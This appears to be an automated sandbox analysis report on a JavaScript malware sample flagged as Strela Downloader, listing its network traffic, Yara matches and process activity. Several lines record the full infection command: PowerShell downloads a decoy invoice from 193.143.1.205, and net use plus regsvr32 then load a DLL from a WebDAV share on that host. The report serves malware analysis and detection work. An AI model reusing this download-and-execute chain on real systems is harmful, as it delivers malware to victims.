HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2031043131.0000016FC49AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2077450884.0000013AF322A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078509879.0000013AF31D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4l
Source: net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Lm
Source: net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Xm
Source: net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l
Source: net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/lm
Source: svchost.exe, 00000009.00000002.3320776801.0000024F24EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2077796110.0000024F2A440000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2924, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16910148382611315301.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3252:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r24nsrye.scj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1596,i,9492654057453378191,10660572081928221808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1596,i,9492654057453378191,10660572081928221808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
